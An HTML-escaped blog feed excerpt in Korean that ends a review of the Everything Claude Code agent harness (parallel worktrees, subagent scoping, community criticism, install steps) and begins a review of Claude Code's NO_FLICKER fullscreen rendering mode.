&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R5tpx/dJMcajn8ki4/HksnhbpizIlfRktRpyCih1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R5tpx/dJMcajn8ki4/HksnhbpizIlfRktRpyCih1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R5tpx/dJMcajn8ki4/HksnhbpizIlfRktRpyCih1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR5tpx%2FdJMcajn8ki4%2FHksnhbpizIlfRktRpyCih1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1532&quot; height=&quot;844&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC가 제시하는 병렬 작업의 핵심 원칙:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;/fork:&lt;/b&gt; 코드 변경이 겹치지 않는 독립 작업에 사용. 메인 채팅은 코드 변경용, fork는 질문/리서치용으로 분리한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Git Worktrees:&lt;/b&gt; 코드 변경이 겹칠 수 있는 경우 필수. 워크트리별로 Claude 인스턴스를 배정한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Cascade Method:&lt;/b&gt; 새 작업을 오른쪽 탭에 열고, 왼쪽에서 오른쪽으로 스위핑한다. 동시 3~4개 작업이 적정 수준이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Git Worktree로 병렬 Claude 인스턴스 실행
git worktree add ../project-feature-a feature-a
git worktree add ../project-feature-b feature-b
cd ../project-feature-a &amp;amp;&amp;amp; claude&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;과도한 병렬화 경고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;제작자는 &quot;5개 이상의 인스턴스를 무작정 띄우지 말라&quot;고 경고한다. &quot;최소한의 병렬화로 얼마나 많은 작업을 처리할 수 있는가&quot;가 올바른 목표다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Two-Instance Kickoff 패턴&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Uqerb/dJMcafMUsVh/PFH7CXdNO9wjVkqsdQxDAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Uqerb/dJMcafMUsVh/PFH7CXdNO9wjVkqsdQxDAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Uqerb/dJMcafMUsVh/PFH7CXdNO9wjVkqsdQxDAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUqerb%2FdJMcafMUsVh%2FPFH7CXdNO9wjVkqsdQxDAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;840&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;새 프로젝트를 시작할 때 2개의 Claude 인스턴스를 동시에 활용하는 패턴이다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인스턴스 1 &amp;mdash; 스캐폴딩 에이전트:&lt;/b&gt; 프로젝트 구조 생성, 설정 파일(CLAUDE.md, rules, agents) 셋업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인스턴스 2 &amp;mdash; 딥 리서치 에이전트:&lt;/b&gt; 외부 서비스 연결, 웹 검색, 상세 PRD 작성, 아키텍처 다이어그램 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주의사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;과도한 설정 금지:&lt;/b&gt; &quot;설정을 아키텍처가 아닌 미세 조정처럼 다뤄라.&quot; 복잡하게 만들면 오히려 역효과가 난다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트 윈도우 관리:&lt;/b&gt; 사용하지 않는 MCP와 플러그인은 반드시 비활성화한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서브에이전트 스코핑:&lt;/b&gt; 제한된 도구 = 집중된 실행. 서브에이전트에 모든 도구를 주지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 인식:&lt;/b&gt; 외부 정보를 받아들이는 에이전트에는 반드시 격리/정제 단계를 거친다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;서브에이전트 컨텍스트 문제 해결&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트는 메인 에이전트의 의미적 맥락을 모른다. 해결책은 &lt;b&gt;반복 검색 패턴&lt;/b&gt;이다:&lt;br /&gt;1) 오케스트레이터가 서브에이전트의 반환값을 평가 &amp;rarr; 2) 후속 질문 &amp;rarr; 3) 서브에이전트가 추가 조사 후 반환 &amp;rarr; 4) 충분해질 때까지 반복 (최대 3회).&lt;br /&gt;핵심: 쿼리뿐 아니라 &lt;b&gt;목적(objective context)&lt;/b&gt;을 함께 전달한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 커뮤니티 반응과 주의사항 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 커뮤니티 반응과 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC는 2026년 상반기 가장 빠르게 주목받은 AI coding harness 저장소 중 하나가 되었다. 하지만 커뮤니티에서는 긍정적 반응과 함께 의미 있는 비판도 제기되고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;긍정적 반응&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;통합 시스템의 가치:&lt;/b&gt; awesome-claude-code 목록에서 &quot;significant standalone value(독립적으로 의미 있는 가치)&quot;가 있다고 평가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;솔로 개발자의 팀 효과:&lt;/b&gt; 한국 커뮤니티에서는 &quot;역할 기반 에이전트가 혼자서도 팀처럼 일할 수 있게 한다&quot;는 점이 높은 호응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 의식:&lt;/b&gt; AgentShield와 Security Guide의 CVE 기반 실전 보안 가이드는 독보적이라는 평가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;비판과 우려&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;과잉 설계(Over-engineering) 논란&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;r/ClaudeCode 커뮤니티에서 가장 많이 제기되는 비판이다. &quot;997개 내부 테스트, 멀티 언어 규칙 아키텍처, 내장 오케스트레이션 엔진을 갖춘 설정 프레임워크는 대부분의 팀에게는 과도하다&quot;는 의견이 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@tentenco/everything-claude-code-inside-the-82k-star-agent-harness-thats-dividing-the-developer-community-4fe54feccbc1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Ewan Mak, Medium&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;스타 수 대비 실제 사용률&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;npm 패키지 &lt;code&gt;ecc-universal&lt;/code&gt;의 최근 한 달 다운로드 수는 7,565회(2026-03-03~2026-04-01 npm API 기준)로, GitHub 스타 수에 비해 여전히 차이가 있다. 이는 많은 사용자가 저장소를 직접 클론하거나 수동 복사 방식으로 사용하는 영향일 수 있지만, 관심 대비 실제 설치 전환율을 해석할 때는 신중할 필요가 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;컨텍스트 윈도우 부담&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;151개 스킬, 36개 에이전트, 68개 엔트리의 방대한 표면적은 컨텍스트 윈도우를 빠르게 소모할 수 있다. ECC 공식 문서에서도 &quot;200K 컨텍스트가 70K로 줄어들 수 있다&quot;고 경고하며, 프로젝트당 필요한 것만 활성화할 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;균형 잡힌 접근&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC 제작자 본인도 &quot;설정은 거대한 아키텍처 설계가 아니라, 미세 조정의 관점으로 접근하라&quot;고 반복 강조한다. 모든 기능을 한 번에 설치하기보다, 주 사용 언어의 에이전트와 스킬부터 선택적으로 시작하는 것이 현실적이다. README를 AI에게 주고 &quot;내 환경에 맞게 설정해줘&quot;라고 요청하는 것도 좋은 방법이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Everything Claude Code는 단순한 설정 파일 모음이 아니라, AI 코딩 에이전트를 위한 &lt;b&gt;종합 하네스 시스템&lt;/b&gt;이다. &quot;설정은 거대한 아키텍처가 아니라 미세 조정&quot;이라는 제작자의 철학대로, 필요한 구성요소만 선택적으로 도입하는 것이 핵심이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;통합 시스템:&lt;/b&gt; 에이전트 + 스킬 + 명령어 + 훅 + 규칙이 유기적 피드백 루프로 동작&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;크로스 플랫폼:&lt;/b&gt; Claude Code, Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;실전 검증:&lt;/b&gt; Anthropic 해커톤 우승 + 10개월 이상 집중 사용 노하우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;보안 내장:&lt;/b&gt; AgentShield 스캐너 + 종합 보안 가이드 + CVE 대응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;자가 학습:&lt;/b&gt; Continuous Learning v2로 세션에서 패턴을 학습하여 스킬로 진화&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code를 사용 중이라면 ECC의 3대 가이드(Shortform &amp;rarr; Longform &amp;rarr; Security) 순서로 읽어보는 것을 권장한다. 처음 접하는 경우 Shortform Guide부터 시작하여 전체 구조를 파악한 뒤, 자신의 주 사용 언어에 맞는 에이전트와 스킬을 선택적으로 설치하는 것이 효과적이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;다음 단계 체크리스트&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Shortform Guide 읽기 (약 15분)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude Code에 ECC 플러그인 설치 또는 &lt;code&gt;npx ecc [언어]&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/plan&lt;/code&gt; 명령어로 현재 프로젝트에서 테스트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;보안 점검: &lt;code&gt;npx ecc-agentshield scan&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;(선택) Longform Guide로 고급 패턴 학습&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시작하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 간단한 방법: Claude Code에서 &lt;code&gt;/plugin marketplace add affaan-m/everything-claude-code&lt;/code&gt;를 실행한다. 또는 &lt;code&gt;npx ecc typescript&lt;/code&gt;로 npm을 통해 설치할 수 있다.&lt;br /&gt;공식 저장소: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/affaan-m/everything-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/affaan-m/everything-claude-code&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;참고 자료&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/affaan-m/everything-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Everything Claude Code GitHub&lt;/a&gt; &amp;mdash; 공식 저장소&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://ecc.tools&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ecc.tools&lt;/a&gt; &amp;mdash; 공식 웹사이트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@joe.njenga/everything-claude-code-the-repo-that-won-anthropic-hackathon-33b040ba62f3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Medium: The Repo That Won Anthropic Hackathon&lt;/a&gt; &amp;mdash; Joe Njenga&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://blog.devgenius.io/the-claude-code-setup-that-won-a-hackathon-a75a161cd41c&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Dev Genius: The Claude Code setup that won a hackathon&lt;/a&gt; &amp;mdash; JP Caparas&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/affaan-m/agentshield&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AgentShield GitHub&lt;/a&gt; &amp;mdash; 보안 스캐너&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;2026년 4월 3일 기준으로 재검증한 정보. 프로젝트가 빠르게 발전 중이므로, 최신 내용은 공식 저장소와 Claude Code 공식 문서를 함께 확인하는 것이 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/하네스 엔지니어링(harness engineering)</category>
      <category>AgentShield</category>
      <category>AI 에이전트</category>
      <category>claude code</category>
      <category>ecc</category>
      <category>Everything Claude Code</category>
      <category>서브에이전트</category>
      <category>에이전트 하네스</category>
      <category>워크플로우 스킬</category>
      <category>코딩 자동화</category>
      <category>토큰 최적화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/575</guid>
      <comments>https://goddaehee.tistory.com/575#entry575comment</comments>
      <pubDate>Fri, 3 Apr 2026 01:26:17 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code NO_FLICKER(깜빡임 없는 풀스크린 렌더링 모드) 리뷰 : 화면 깜빡임과 스크롤 점프가 정말 사라질까</title>
      <link>https://goddaehee.tistory.com/574</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;!-- 도입부 --&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 Claude Code의 새로운 풀스크린 렌더링 모드, &lt;b&gt;NO_FLICKER&lt;/b&gt;를 리뷰한다.&lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2218&quot; data-origin-height=&quot;1472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btLaER/dJMcaiQjKkT/Y1WSbwhHUiktELcBbBFc40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btLaER/dJMcaiQjKkT/Y1WSbwhHUiktELcBbBFc40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btLaER/dJMcaiQjKkT/Y1WSbwhHUiktELcBbBFc40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtLaER%2FdJMcaiQjKkT%2FY1WSbwhHUiktELcBbBFc40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2218&quot; height=&quot;1472&quot; data-origin-width=&quot;2218&quot; data-origin-height=&quot;1472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 박스 --&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 12px 0; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
    &lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;소개 &amp;mdash; 터미널
          깜빡임, 왜 문제인가&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;활성화 방법 &amp;mdash;
          설치와 설정&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;핵심 기능 상세
          &amp;mdash; 무엇이 달라지는가&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;기술 아키텍처 분석
          &amp;mdash; 렌더링 파이프라인&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;소스코드 핵심 분석
          &amp;mdash; 렌더러 내부 구조&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;활용법 &amp;mdash; 마우스
          지원과 단축키&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;실전 사용 예시
          &amp;mdash; 구체적 시나리오&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;트레이드오프 상세
          &amp;mdash; 무엇을 잃는가&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;제한사항 및 주의사항&lt;/a&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section10&quot;&gt;트러블슈팅 Q&amp;amp;A
          + 결론&lt;/a&gt;&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
  &lt;!-- 요약 콜아웃 --&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;이 글의 핵심 요약&lt;/p&gt;
    &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;CLAUDE_CODE_NO_FLICKER=1&lt;/b&gt; 환경변수 하나로 활성화&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;Alternate screen buffer + Viewport 가상화로 깜빡임 근본 제거&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;마우스 지원, 단축키 스크롤, Transcript 모드 포함&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;tmux -CC 환경 제외 대부분의 시나리오에서 켜는 것이 이득&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;2026년 4월 2일 기준 research preview (v2.1.88+)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;!-- 섹션 1 --&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h2 id=&quot;section1&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 소개 &amp;mdash; 터미널 깜빡임, 왜 문제인가&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code를 VS Code 통합 터미널이나 tmux에서 사용하다 보면, 도구 출력이 스트리밍되는 동안 화면이 깜빡이거나 스크롤 위치가 맨 위로 점프하는
    현상을 경험한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;GitHub Issues에서 관련 이슈가 총 1,300건 이상의 업보트를 받았다 (Issue #3648: 694, #1913: 315, #769: 291,
    2026-04-02 GitHub API 기준). 9개월간 미해결이었던 이 문제가 2026년 4월, NO_FLICKER 모드로 해결되었다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
